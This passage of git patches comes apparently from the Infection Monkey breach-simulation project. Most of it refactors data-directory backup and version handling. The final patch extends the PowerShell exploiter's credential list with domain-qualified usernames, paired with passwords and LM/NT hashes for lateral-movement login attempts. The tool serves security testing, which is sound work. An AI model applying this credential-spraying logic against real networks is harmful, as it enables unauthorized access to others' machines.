https://github.com/guardicore/monkey/pull/1528 because # there's absolutely no reason to be exposed to IslandConfigOptions extraction logic # if you want to modify data directory related code. - setup_data_dir(str(config.data_dir)) + setup_data_dir(config.data_dir) return config, server_config_path @@ -34,7 +34,7 @@ def _setup_default_config() -> Tuple[IslandConfigOptions, str]: # TODO refactor like in https://github.com/guardicore/monkey/pull/1528 because # there's absolutely no reason to be exposed to IslandConfigOptions extraction logic # if you want to modify data directory related code. - setup_data_dir(str(default_data_dir)) + setup_data_dir(default_data_dir) server_config_path = server_config_handler.create_default_server_config_file(default_data_dir) config = server_config_handler.load_server_config_from_file(server_config_path) diff --git a/monkey/monkey_island/cc/setup/data_dir.py b/monkey/monkey_island/cc/setup/data_dir.py index d4d176ba7..bee9d0a05 100644 --- a/monkey/monkey_island/cc/setup/data_dir.py +++ b/monkey/monkey_island/cc/setup/data_dir.py @@ -1,5 +1,6 @@ import logging import shutil +from pathlib import Path from common.version import get_version from monkey_island.cc.server_utils.file_utils import create_secure_directory @@ -12,15 +13,15 @@ from monkey_island.cc.setup.version_file_setup import ( logger = logging.getLogger(__name__) -def setup_data_dir(data_dir_path: str): +def setup_data_dir(data_dir_path: Path): logger.info("Setting up data directory.") _reset_data_dir(data_dir_path) - create_secure_directory(data_dir_path) + create_secure_directory(str(data_dir_path)) write_version(data_dir_path) logger.info("Data directory set up.") -def _reset_data_dir(data_dir_path: str): +def _reset_data_dir(data_dir_path: Path): try: data_dir_version = get_version_from_dir(data_dir_path) except FileNotFoundError: diff --git a/monkey/monkey_island/cc/setup/version_file_setup.py b/monkey/monkey_island/cc/setup/version_file_setup.py index ac45c201b..52a71ce4f 100644 --- a/monkey/monkey_island/cc/setup/version_file_setup.py +++ b/monkey/monkey_island/cc/setup/version_file_setup.py @@ -7,13 +7,13 @@ from common.version import get_version _version_filename = "VERSION" -def get_version_from_dir(dir_path: str) -> str: - version_file_path = Path(dir_path, _version_filename) +def get_version_from_dir(dir_path: Path) -> str: + version_file_path = dir_path.joinpath(_version_filename) return version_file_path.read_text() -def write_version(dir_path: str): - version_file_path = Path(dir_path, _version_filename) +def write_version(dir_path: Path): + version_file_path = dir_path.joinpath(_version_filename) version_file_path.write_text(get_version()) diff --git a/monkey/tests/unit_tests/monkey_island/cc/setup/test_data_dir.py b/monkey/tests/unit_tests/monkey_island/cc/setup/test_data_dir.py index 81ed1f51d..096c5b0f3 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/setup/test_data_dir.py +++ b/monkey/tests/unit_tests/monkey_island/cc/setup/test_data_dir.py @@ -29,7 +29,7 @@ def mocked_version_file_path(mocked_data_dir_path: Path) -> Path: def test_setup_data_dir(mocked_data_dir_path, mocked_version_file_path): data_dir_path = mocked_data_dir_path - setup_data_dir(str(data_dir_path)) + setup_data_dir(data_dir_path) assert data_dir_path.is_dir() version_file_path = mocked_version_file_path @@ -43,7 +43,7 @@ def test_old_version_present(mocked_data_dir_path, mocked_version_file_path): bogus_file_path.touch() # mock version - setup_data_dir(str(mocked_data_dir_path)) + setup_data_dir(mocked_data_dir_path) assert mocked_version_file_path.read_text() == current_version assert not bogus_file_path.is_file() @@ -55,6 +55,6 @@ def test_data_dir_setup_not_needed(mocked_data_dir_path, mocked_version_file_pat bogus_file_path = mocked_data_dir_path.joinpath("test.txt") bogus_file_path.touch() - setup_data_dir(str(mocked_data_dir_path)) + setup_data_dir(mocked_data_dir_path) assert mocked_version_file_path.read_text() == current_version assert bogus_file_path.is_file() From 0efcffbe54513253ad02e33cfced19d740a575db Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 15 Oct 2021 17:11:43 +0300 Subject: [PATCH 400/454] Monkey island: instead of deleting the backup of data_dir, rename it to data_dir.old. If it already exists, delete it prior to renaming This change saves the users data in case version update destroyed some progress. We don't care about removing old backups because user is unlikely to do two updates at once --- monkey/monkey_island/cc/setup/data_dir.py | 23 ++++++++++++------ .../monkey_island/cc/setup/test_data_dir.py | 24 ++++++++++++++++--- 2 files changed, 37 insertions(+), 10 deletions(-) diff --git a/monkey/monkey_island/cc/setup/data_dir.py b/monkey/monkey_island/cc/setup/data_dir.py index bee9d0a05..c47aa1680 100644 --- a/monkey/monkey_island/cc/setup/data_dir.py +++ b/monkey/monkey_island/cc/setup/data_dir.py @@ -11,6 +11,7 @@ from monkey_island.cc.setup.version_file_setup import ( ) logger = logging.getLogger(__name__) +_data_dir_backup_suffix = ".old" def setup_data_dir(data_dir_path: Path): @@ -26,20 +27,28 @@ def _reset_data_dir(data_dir_path: Path): data_dir_version = get_version_from_dir(data_dir_path) except FileNotFoundError: logger.info("Version file not found on the data directory.") - _remove_data_dir(data_dir_path) + _backup_old_data_dir(data_dir_path) return island_version = get_version() logger.info(f"Version found in the data directory: {data_dir_version}") logger.info(f"Currently running version: {island_version}") if is_version_greater(island_version, data_dir_version): - _remove_data_dir(data_dir_path) + _backup_old_data_dir(data_dir_path) -def _remove_data_dir(data_dir_path: str): - logger.info("Attempting to remove data directory.") +def _backup_old_data_dir(data_dir_path: Path): + logger.info("Attempting to backup old data directory.") try: - shutil.rmtree(data_dir_path) - logger.info("Data directory removed.") + backup_path = _get_backup_path(data_dir_path) + if backup_path.is_dir(): + shutil.rmtree(backup_path) + Path(data_dir_path).replace(backup_path) + logger.info(f"Old data directory moved to {backup_path}.") except FileNotFoundError: - logger.info("Data directory not found, nothing to remove.") + logger.info("Old data directory not found, nothing to backup.") + + +def _get_backup_path(data_dir_path: Path) -> Path: + backup_dir_name = data_dir_path.name + _data_dir_backup_suffix + return Path(data_dir_path.parent, backup_dir_name) diff --git a/monkey/tests/unit_tests/monkey_island/cc/setup/test_data_dir.py b/monkey/tests/unit_tests/monkey_island/cc/setup/test_data_dir.py index 096c5b0f3..dfabfa54e 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/setup/test_data_dir.py +++ b/monkey/tests/unit_tests/monkey_island/cc/setup/test_data_dir.py @@ -2,8 +2,8 @@ from pathlib import Path import pytest -from monkey_island.cc.setup.data_dir import setup_data_dir -from monkey_island.cc.setup.version_file_setup import _version_filename +from monkey_island.cc.setup.data_dir import _get_backup_path, setup_data_dir +from monkey_island.cc.setup.version_file_setup import _version_filename, get_version_from_dir current_version = "1.1.1" old_version = "1.1.0" @@ -42,11 +42,29 @@ def test_old_version_present(mocked_data_dir_path, mocked_version_file_path): bogus_file_path = mocked_data_dir_path.joinpath("test.txt") bogus_file_path.touch() - # mock version setup_data_dir(mocked_data_dir_path) assert mocked_version_file_path.read_text() == current_version assert not bogus_file_path.is_file() + assert _get_backup_path(mocked_data_dir_path).joinpath("test.txt").is_file() + + +def test_old_version_and_backup_present(mocked_data_dir_path, mocked_version_file_path): + mocked_data_dir_path.mkdir() + mocked_version_file_path.write_text(old_version) + + old_backup_path = _get_backup_path(mocked_data_dir_path) + old_backup_path.mkdir() + bogus_file_path = old_backup_path.joinpath("test.txt") + bogus_file_path.touch() + + setup_data_dir(mocked_data_dir_path) + new_backup_path = old_backup_path + + # Make sure old backup got deleted and new backup took it's place + assert mocked_version_file_path.read_text() == current_version + assert get_version_from_dir(new_backup_path) == old_version + assert not _get_backup_path(mocked_data_dir_path).joinpath("test.txt").is_file() def test_data_dir_setup_not_needed(mocked_data_dir_path, mocked_version_file_path): From 93adbae2bf179c7430be2ce9c8d02dfedb25a364 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 18 Oct 2021 09:55:22 +0300 Subject: [PATCH 401/454] Island: change some less important log messages to debug level, log data directory path in data_dir.py --- monkey/monkey_island/cc/setup/data_dir.py | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/monkey/monkey_island/cc/setup/data_dir.py b/monkey/monkey_island/cc/setup/data_dir.py index c47aa1680..63e609f8f 100644 --- a/monkey/monkey_island/cc/setup/data_dir.py +++ b/monkey/monkey_island/cc/setup/data_dir.py @@ -15,7 +15,7 @@ _data_dir_backup_suffix = ".old" def setup_data_dir(data_dir_path: Path): - logger.info("Setting up data directory.") + logger.info(f"Setting up data directory in {data_dir_path}.") _reset_data_dir(data_dir_path) create_secure_directory(str(data_dir_path)) write_version(data_dir_path) @@ -26,13 +26,13 @@ def _reset_data_dir(data_dir_path: Path): try: data_dir_version = get_version_from_dir(data_dir_path) except FileNotFoundError: - logger.info("Version file not found on the data directory.") + logger.debug("Version file not found.") _backup_old_data_dir(data_dir_path) return island_version = get_version() - logger.info(f"Version found in the data directory: {data_dir_version}") - logger.info(f"Currently running version: {island_version}") + logger.debug(f"Version found in the data directory: {data_dir_version}") + logger.debug(f"Currently running version: {island_version}") if is_version_greater(island_version, data_dir_version): _backup_old_data_dir(data_dir_path) @@ -46,7 +46,7 @@ def _backup_old_data_dir(data_dir_path: Path): Path(data_dir_path).replace(backup_path) logger.info(f"Old data directory moved to {backup_path}.") except FileNotFoundError: - logger.info("Old data directory not found, nothing to backup.") + logger.info("No data directory found to backup, this is likelly a first installation.") def _get_backup_path(data_dir_path: Path) -> Path: From c9335f90a4f3628aacc09954ac9ef8d94ecbdf6e Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 18 Oct 2021 10:37:38 +0300 Subject: [PATCH 402/454] Island UT's: rename methods that return directories from "mocked_..." notation to "temp_..." notation in test_data_dir.py --- .../monkey_island/cc/setup/test_data_dir.py | 52 +++++++++---------- 1 file changed, 26 insertions(+), 26 deletions(-) diff --git a/monkey/tests/unit_tests/monkey_island/cc/setup/test_data_dir.py b/monkey/tests/unit_tests/monkey_island/cc/setup/test_data_dir.py index dfabfa54e..907e62741 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/setup/test_data_dir.py +++ b/monkey/tests/unit_tests/monkey_island/cc/setup/test_data_dir.py @@ -18,61 +18,61 @@ def mock_version(monkeypatch): @pytest.fixture -def mocked_data_dir_path(tmpdir) -> Path: +def temp_data_dir_path(tmpdir) -> Path: return Path(tmpdir, "data_dir") @pytest.fixture -def mocked_version_file_path(mocked_data_dir_path: Path) -> Path: - return mocked_data_dir_path.joinpath(_version_filename) +def temp_version_file_path(temp_data_dir_path) -> Path: + return temp_data_dir_path.joinpath(_version_filename) -def test_setup_data_dir(mocked_data_dir_path, mocked_version_file_path): - data_dir_path = mocked_data_dir_path +def test_setup_data_dir(temp_data_dir_path, temp_version_file_path): + data_dir_path = temp_data_dir_path setup_data_dir(data_dir_path) assert data_dir_path.is_dir() - version_file_path = mocked_version_file_path + version_file_path = temp_version_file_path assert version_file_path.read_text() == current_version -def test_old_version_present(mocked_data_dir_path, mocked_version_file_path): - mocked_data_dir_path.mkdir() - mocked_version_file_path.write_text(old_version) - bogus_file_path = mocked_data_dir_path.joinpath("test.txt") +def test_old_version_present(temp_data_dir_path, temp_version_file_path): + temp_data_dir_path.mkdir() + temp_version_file_path.write_text(old_version) + bogus_file_path = temp_data_dir_path.joinpath("test.txt") bogus_file_path.touch() - setup_data_dir(mocked_data_dir_path) + setup_data_dir(temp_data_dir_path) - assert mocked_version_file_path.read_text() == current_version + assert temp_version_file_path.read_text() == current_version assert not bogus_file_path.is_file() - assert _get_backup_path(mocked_data_dir_path).joinpath("test.txt").is_file() + assert _get_backup_path(temp_data_dir_path).joinpath("test.txt").is_file() -def test_old_version_and_backup_present(mocked_data_dir_path, mocked_version_file_path): - mocked_data_dir_path.mkdir() - mocked_version_file_path.write_text(old_version) +def test_old_version_and_backup_present(temp_data_dir_path, temp_version_file_path): + temp_data_dir_path.mkdir() + temp_version_file_path.write_text(old_version) - old_backup_path = _get_backup_path(mocked_data_dir_path) + old_backup_path = _get_backup_path(temp_data_dir_path) old_backup_path.mkdir() bogus_file_path = old_backup_path.joinpath("test.txt") bogus_file_path.touch() - setup_data_dir(mocked_data_dir_path) + setup_data_dir(temp_data_dir_path) new_backup_path = old_backup_path # Make sure old backup got deleted and new backup took it's place - assert mocked_version_file_path.read_text() == current_version + assert temp_version_file_path.read_text() == current_version assert get_version_from_dir(new_backup_path) == old_version - assert not _get_backup_path(mocked_data_dir_path).joinpath("test.txt").is_file() + assert not _get_backup_path(temp_data_dir_path).joinpath("test.txt").is_file() -def test_data_dir_setup_not_needed(mocked_data_dir_path, mocked_version_file_path): - mocked_data_dir_path.mkdir() - mocked_version_file_path.write_text(current_version) - bogus_file_path = mocked_data_dir_path.joinpath("test.txt") +def test_data_dir_setup_not_needed(temp_data_dir_path, temp_version_file_path): + temp_data_dir_path.mkdir() + temp_version_file_path.write_text(current_version) + bogus_file_path = temp_data_dir_path.joinpath("test.txt") bogus_file_path.touch() - setup_data_dir(mocked_data_dir_path) - assert mocked_version_file_path.read_text() == current_version + setup_data_dir(temp_data_dir_path) + assert temp_version_file_path.read_text() == current_version assert bogus_file_path.is_file() From b0e96822dd409353ba96b10c4f75839667a07262 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 18 Oct 2021 11:42:12 +0300 Subject: [PATCH 403/454] Island: split up _reset_data_dir method into _backup_current_data_dir and _is_backup_needed in data_dir.py Change makes the code more readable because the functions have better names and the logic of finding out if the back up is needed / doing the actual back up is separated --- monkey/monkey_island/cc/setup/data_dir.py | 38 ++++++++++++----------- 1 file changed, 20 insertions(+), 18 deletions(-) diff --git a/monkey/monkey_island/cc/setup/data_dir.py b/monkey/monkey_island/cc/setup/data_dir.py index 63e609f8f..0ba011d65 100644 --- a/monkey/monkey_island/cc/setup/data_dir.py +++ b/monkey/monkey_island/cc/setup/data_dir.py @@ -16,37 +16,39 @@ _data_dir_backup_suffix = ".old" def setup_data_dir(data_dir_path: Path): logger.info(f"Setting up data directory in {data_dir_path}.") - _reset_data_dir(data_dir_path) + _backup_current_data_dir(data_dir_path) create_secure_directory(str(data_dir_path)) write_version(data_dir_path) logger.info("Data directory set up.") -def _reset_data_dir(data_dir_path: Path): +def _backup_current_data_dir(data_dir_path: Path): + if _is_backup_needed(data_dir_path): + logger.debug("Data directory backup needed.") + try: + return _rename_data_dir(data_dir_path) + except FileNotFoundError: + logger.debug("No data directory found to backup, this is likely a first installation.") + + +def _is_backup_needed(data_dir_path: Path) -> bool: try: data_dir_version = get_version_from_dir(data_dir_path) except FileNotFoundError: logger.debug("Version file not found.") - _backup_old_data_dir(data_dir_path) - return + return True island_version = get_version() - logger.debug(f"Version found in the data directory: {data_dir_version}") - logger.debug(f"Currently running version: {island_version}") - if is_version_greater(island_version, data_dir_version): - _backup_old_data_dir(data_dir_path) + + return is_version_greater(island_version, data_dir_version) -def _backup_old_data_dir(data_dir_path: Path): - logger.info("Attempting to backup old data directory.") - try: - backup_path = _get_backup_path(data_dir_path) - if backup_path.is_dir(): - shutil.rmtree(backup_path) - Path(data_dir_path).replace(backup_path) - logger.info(f"Old data directory moved to {backup_path}.") - except FileNotFoundError: - logger.info("No data directory found to backup, this is likelly a first installation.") +def _rename_data_dir(data_dir_path: Path): + backup_path = _get_backup_path(data_dir_path) + if backup_path.is_dir(): + shutil.rmtree(backup_path) + Path(data_dir_path).replace(backup_path) + logger.info(f"Old data directory renamed to {backup_path}.") def _get_backup_path(data_dir_path: Path) -> Path: From 988bdf047117657cad5066387c0963ab6f05d632 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 18 Oct 2021 11:54:06 +0300 Subject: [PATCH 404/454] Island: check if version from version file is the same as in island instead of checking if it's lower This change enables to clean the directory if an older version of monkey island is installed after removing the new one --- monkey/monkey_island/cc/setup/data_dir.py | 4 ++-- monkey/monkey_island/cc/setup/version_file_setup.py | 4 ++-- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/monkey/monkey_island/cc/setup/data_dir.py b/monkey/monkey_island/cc/setup/data_dir.py index 0ba011d65..5ea3b49e9 100644 --- a/monkey/monkey_island/cc/setup/data_dir.py +++ b/monkey/monkey_island/cc/setup/data_dir.py @@ -6,7 +6,7 @@ from common.version import get_version from monkey_island.cc.server_utils.file_utils import create_secure_directory from monkey_island.cc.setup.version_file_setup import ( get_version_from_dir, - is_version_greater, + is_version_different, write_version, ) @@ -40,7 +40,7 @@ def _is_backup_needed(data_dir_path: Path) -> bool: island_version = get_version() - return is_version_greater(island_version, data_dir_version) + return is_version_different(island_version, data_dir_version) def _rename_data_dir(data_dir_path: Path): diff --git a/monkey/monkey_island/cc/setup/version_file_setup.py b/monkey/monkey_island/cc/setup/version_file_setup.py index 52a71ce4f..a1fb2a801 100644 --- a/monkey/monkey_island/cc/setup/version_file_setup.py +++ b/monkey/monkey_island/cc/setup/version_file_setup.py @@ -17,5 +17,5 @@ def write_version(dir_path: Path): version_file_path.write_text(get_version()) -def is_version_greater(version1: str, version2: str) -> bool: - return version.parse(version1) > version.parse(version2) +def is_version_different(version1: str, version2: str) -> bool: + return not version.parse(version1) == version.parse(version2) From c23a0721c58fcd0a4faf015ec2dbcfb425b37e22 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 18 Oct 2021 12:15:09 +0300 Subject: [PATCH 405/454] CHANGELOG.md entry about data dir backup based on version file --- CHANGELOG.md | 3 +++ 1 file changed, 3 insertions(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 2bf579837..4f2b95f8c 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -56,6 +56,9 @@ Changelog](https://keepachangelog.com/en/1.0.0/). - ATT&CK report bug that said that the technique "`.bash_profile` and `.bashrc`" was not attempted when it actually was attempted but failed. #1511 - Bug that periodically cleared the telemetry table's filter. #1392 +- Updating the Infection Monkey will backup the old data +and will create a new data directory to prevent incompatibilities and crashes. #1114 + ### Security - Generate a random password when creating a new user for CommunicateAsNewUser From 27d04e4de662053076b509e6f92e462e9a03f005 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 19 Oct 2021 10:45:44 +0300 Subject: [PATCH 406/454] Monkey: simplify version comparison to string comparison instead of using a package to parse the version --- monkey/monkey_island/cc/setup/data_dir.py | 8 ++------ monkey/monkey_island/cc/setup/version_file_setup.py | 6 ------ 2 files changed, 2 insertions(+), 12 deletions(-) diff --git a/monkey/monkey_island/cc/setup/data_dir.py b/monkey/monkey_island/cc/setup/data_dir.py index 5ea3b49e9..590e966ba 100644 --- a/monkey/monkey_island/cc/setup/data_dir.py +++ b/monkey/monkey_island/cc/setup/data_dir.py @@ -4,11 +4,7 @@ from pathlib import Path from common.version import get_version from monkey_island.cc.server_utils.file_utils import create_secure_directory -from monkey_island.cc.setup.version_file_setup import ( - get_version_from_dir, - is_version_different, - write_version, -) +from monkey_island.cc.setup.version_file_setup import get_version_from_dir, write_version logger = logging.getLogger(__name__) _data_dir_backup_suffix = ".old" @@ -40,7 +36,7 @@ def _is_backup_needed(data_dir_path: Path) -> bool: island_version = get_version() - return is_version_different(island_version, data_dir_version) + return island_version != data_dir_version def _rename_data_dir(data_dir_path: Path): diff --git a/monkey/monkey_island/cc/setup/version_file_setup.py b/monkey/monkey_island/cc/setup/version_file_setup.py index a1fb2a801..380fcf4cc 100644 --- a/monkey/monkey_island/cc/setup/version_file_setup.py +++ b/monkey/monkey_island/cc/setup/version_file_setup.py @@ -1,7 +1,5 @@ from pathlib import Path -from packaging import version - from common.version import get_version _version_filename = "VERSION" @@ -15,7 +13,3 @@ def get_version_from_dir(dir_path: Path) -> str: def write_version(dir_path: Path): version_file_path = dir_path.joinpath(_version_filename) version_file_path.write_text(get_version()) - - -def is_version_different(version1: str, version2: str) -> bool: - return not version.parse(version1) == version.parse(version2) From 701d589c774f7c41451c1bcbffef9d4d4e5f9434 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 14 Oct 2021 11:34:39 -0400 Subject: [PATCH 407/454] Agent: Include domain with usernames in PowerShell exploiter Fixes #1486 --- .../exploit/powershell_utils/credentials.py | 40 ++++- .../infection_monkey/exploit/conftest.py | 21 +++ .../powershell_utils/test_credentials.py | 151 ++++++++++-------- .../exploit/test_powershell.py | 3 + 4 files changed, 144 insertions(+), 71 deletions(-) create mode 100644 monkey/tests/unit_tests/infection_monkey/exploit/conftest.py diff --git a/monkey/infection_monkey/exploit/powershell_utils/credentials.py b/monkey/infection_monkey/exploit/powershell_utils/credentials.py index 0e7d0ebab..ee5aa2656 100644 --- a/monkey/infection_monkey/exploit/powershell_utils/credentials.py +++ b/monkey/infection_monkey/exploit/powershell_utils/credentials.py @@ -1,7 +1,10 @@ +import logging from dataclasses import dataclass from enum import Enum from itertools import product -from typing import List, Union +from typing import List, Tuple, Union + +logger = logging.getLogger(__name__) class SecretType(Enum): @@ -25,16 +28,43 @@ def get_credentials( nt_hashes: List[str], is_windows: bool, ) -> List[Credentials]: + username_domain_combinations = _get_username_domain_combinations(usernames, is_windows) + credentials = [] credentials.extend(_get_empty_credentials(is_windows)) - credentials.extend(_get_username_only_credentials(usernames, is_windows)) - credentials.extend(_get_username_password_credentials(usernames, passwords)) - credentials.extend(_get_username_lm_hash_credentials(usernames, lm_hashes)) - credentials.extend(_get_username_nt_hash_credentials(usernames, nt_hashes)) + credentials.extend(_get_username_only_credentials(username_domain_combinations, is_windows)) + credentials.extend(_get_username_password_credentials(username_domain_combinations, passwords)) + credentials.extend(_get_username_lm_hash_credentials(username_domain_combinations, lm_hashes)) + credentials.extend(_get_username_nt_hash_credentials(username_domain_combinations, nt_hashes)) return credentials +def _get_username_domain_combinations(usernames: List[str], is_windows) -> List[str]: + username_domain_combinations = set(usernames) + for u in usernames: + username_domain_combinations.add(f".\\{u}") + + if is_windows: + try: + domain, current_username = _get_current_user_and_domain() + username_domain_combinations.add(current_username) + username_domain_combinations.add(f"{domain}\\{current_username}") + username_domain_combinations.add(f".\\{current_username}") + for u in usernames: + username_domain_combinations.add(f"{domain}\\{u}") + except Exception as ex: + logger.error(f"Failed to get the current user's username and domain name: {ex}") + + return list(username_domain_combinations) + + +def _get_current_user_and_domain() -> Tuple[str, str]: + import win32api + + return win32api.GetUserNameEx(win32api.NameSamCompatible).split("\\") + + # On Windows systems, when username == None and password == None, the current user's credentials # will be used to attempt to log into the victim only on the first hop, from island # to a machine. Propagating after the first hop is not possible at the moment. diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/conftest.py b/monkey/tests/unit_tests/infection_monkey/exploit/conftest.py new file mode 100644 index 000000000..c0d84708b --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/exploit/conftest.py @@ -0,0 +1,21 @@ +import sys +from collections import namedtuple +from unittest.mock import MagicMock + +import pytest + +DomainUser = namedtuple("DomainUser", ["domain", "username"]) + + +@pytest.fixture(scope="module") +def local_user(): + return DomainUser("TEST-DOMAIN", "localuser") + + +@pytest.fixture(scope="module") +def patch_win32api_get_user_name(local_user): + win32api = MagicMock() + win32api.GetUserNameEx = MagicMock(return_value=f"{local_user.domain}\\{local_user.username}") + win32api.NameSamCompatible = None + + sys.modules["win32api"] = win32api diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_credentials.py b/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_credentials.py index 0954d9dc8..74d35c03f 100644 --- a/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_credentials.py +++ b/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_credentials.py @@ -1,97 +1,116 @@ +import sys +from unittest.mock import MagicMock + +import pytest + from infection_monkey.exploit.powershell_utils.credentials import ( Credentials, SecretType, get_credentials, ) +# Use the path_win32api_get_user_name fixture for all tests in this module +pytestmark = pytest.mark.usefixtures("patch_win32api_get_user_name") + TEST_USERNAMES = ["user1", "user2"] TEST_PASSWORDS = ["p1", "p2"] TEST_LM_HASHES = ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", "bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb"] TEST_NT_HASHES = ["cccccccccccccccccccccccccccccccc", "dddddddddddddddddddddddddddddddd"] -def test_get_credentials__empty_windows_true(): - credentials = get_credentials([], [], [], [], True) +@pytest.fixture(scope="module") +def windows_false_usernames(): + usernames = TEST_USERNAMES.copy() + usernames.extend([f".\\{u}" for u in TEST_USERNAMES]) - assert len(credentials) == 1 - assert credentials[0] == Credentials(username=None, secret=None, secret_type=SecretType.CACHED) + return usernames + + +@pytest.fixture(scope="module") +def windows_true_usernames(local_user): + usernames = TEST_USERNAMES.copy() + usernames.append(local_user.username) + usernames = ( + usernames + + [f".\\{u}" for u in usernames] + + [f"{local_user.domain}\\{u}" for u in usernames] + ) + + return usernames + + +def test_get_credentials__empty_windows_true(): + results = get_credentials([], [], [], [], True) + + assert Credentials(username=None, secret=None, secret_type=SecretType.CACHED) in results def test_get_credentials__empty_windows_false(): - credentials = get_credentials([], [], [], [], False) + results = get_credentials([], [], [], [], False) - assert len(credentials) == 0 + assert len(results) == 0 -def test_get_credentials__username_only_windows_true(): - credentials = get_credentials(TEST_USERNAMES, [], [], [], True) - - assert len(credentials) == 5 - assert ( - Credentials(username=TEST_USERNAMES[0], secret="", secret_type=SecretType.PASSWORD) - in credentials - ) - assert ( - Credentials(username=TEST_USERNAMES[1], secret="", secret_type=SecretType.PASSWORD) - in credentials - ) - assert ( - Credentials(username=TEST_USERNAMES[0], secret=None, secret_type=SecretType.CACHED) - in credentials - ) - assert ( - Credentials(username=TEST_USERNAMES[1], secret=None, secret_type=SecretType.CACHED) - in credentials - ) +def assert_secrets_in_results(usernames, secrets, secret_type, results): + for u in usernames: + for s in secrets: + assert Credentials(username=u, secret=s, secret_type=secret_type) in results -def test_get_credentials__username_only_windows_false(): - credentials = get_credentials(TEST_USERNAMES, [], [], [], False) +def test_get_credentials__username_only_windows_true(windows_true_usernames): + results = get_credentials(TEST_USERNAMES, [], [], [], True) - assert len(credentials) == 2 - assert ( - Credentials(username=TEST_USERNAMES[0], secret="", secret_type=SecretType.PASSWORD) - in credentials - ) - assert ( - Credentials(username=TEST_USERNAMES[1], secret="", secret_type=SecretType.PASSWORD) - in credentials - ) + assert len(results) == 19 + assert_secrets_in_results(windows_true_usernames, [""], SecretType.PASSWORD, results) + assert_secrets_in_results(windows_true_usernames, [None], SecretType.CACHED, results) -def test_get_credentials__username_password_windows_true(): - credentials = get_credentials(TEST_USERNAMES, TEST_PASSWORDS, [], [], True) +def test_get_credentials__username_only_windows_false(windows_false_usernames): + results = get_credentials(TEST_USERNAMES, [], [], [], False) - assert len(credentials) == 9 - for user in TEST_USERNAMES: - for password in TEST_PASSWORDS: - assert ( - Credentials(username=user, secret=password, secret_type=SecretType.PASSWORD) - in credentials - ) + assert len(results) == 4 + assert_secrets_in_results(windows_false_usernames, [""], SecretType.PASSWORD, results) -def test_get_credentials__username_lm_hash_windows_false(): - credentials = get_credentials(TEST_USERNAMES, TEST_PASSWORDS, TEST_LM_HASHES, [], False) +def test_get_credentials__username_password_windows_true(windows_true_usernames): + results = get_credentials(TEST_USERNAMES, TEST_PASSWORDS, [], [], True) - assert len(credentials) == 10 - for user in TEST_USERNAMES: - for lm_hash in TEST_LM_HASHES: - assert ( - Credentials(username=user, secret=lm_hash, secret_type=SecretType.LM_HASH) - in credentials - ) + assert_secrets_in_results(windows_true_usernames, TEST_PASSWORDS, SecretType.PASSWORD, results) -def test_get_credentials__username_nt_hash_windows_false(): - credentials = get_credentials( - TEST_USERNAMES, TEST_PASSWORDS, TEST_LM_HASHES, TEST_NT_HASHES, False - ) +def test_get_credentials__username_lm_hash_windows_false(windows_false_usernames): + results = get_credentials(TEST_USERNAMES, TEST_PASSWORDS, TEST_LM_HASHES, [], False) - assert len(credentials) == 14 - for user in TEST_USERNAMES: - for nt_hash in TEST_NT_HASHES: - assert ( - Credentials(username=user, secret=nt_hash, secret_type=SecretType.NT_HASH) - in credentials - ) + assert len(results) == 20 + assert_secrets_in_results(windows_false_usernames, TEST_LM_HASHES, SecretType.LM_HASH, results) + + +def test_get_credentials__username_lm_hash_windows_true(windows_true_usernames): + results = get_credentials(TEST_USERNAMES, TEST_PASSWORDS, TEST_LM_HASHES, [], True) + + assert_secrets_in_results(windows_true_usernames, TEST_LM_HASHES, SecretType.LM_HASH, results) + + +def test_get_credentials__username_nt_hash_windows_false(windows_false_usernames): + results = get_credentials(TEST_USERNAMES, TEST_PASSWORDS, TEST_LM_HASHES, TEST_NT_HASHES, False) + + assert len(results) == 28 + assert_secrets_in_results(windows_false_usernames, TEST_NT_HASHES, SecretType.NT_HASH, results) + + +def test_get_credentials__username_nt_hash_windows_true(windows_true_usernames): + results = get_credentials(TEST_USERNAMES, TEST_PASSWORDS, TEST_LM_HASHES, TEST_NT_HASHES, True) + + assert_secrets_in_results(windows_true_usernames, TEST_NT_HASHES, SecretType.NT_HASH, results) + + +def test_get_credentials__get_username_failure(windows_false_usernames): + win32api = MagicMock() + win32api.GetUserNameEx = MagicMock(side_effect=Exception("win32api test failure")) + win32api.NameSamCompatible = None + sys.modules["win32api"] = win32api + + results = get_credentials(TEST_USERNAMES, [], [], [], True) + + assert len(results) == 9 + assert_secrets_in_results(windows_false_usernames, [""], SecretType.PASSWORD, results) diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py b/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py index 7c2a04710..ef3da4538 100644 --- a/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py +++ b/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py @@ -9,6 +9,9 @@ from infection_monkey.exploit.powershell_utils.auth_options import AuthOptions from infection_monkey.exploit.powershell_utils.credentials import Credentials from infection_monkey.model.host import VictimHost +# Use the path_win32api_get_user_name fixture for all tests in this module +pytestmark = pytest.mark.usefixtures("patch_win32api_get_user_name") + USER_LIST = ["user1", "user2"] PASSWORD_LIST = ["pass1", "pass2"] LM_HASH_LIST = ["bogo_lm_1"] From 8d7a5a410c045509ce8ecc3018121109c780e76f Mon Sep 17 00:00:00 2001 From: 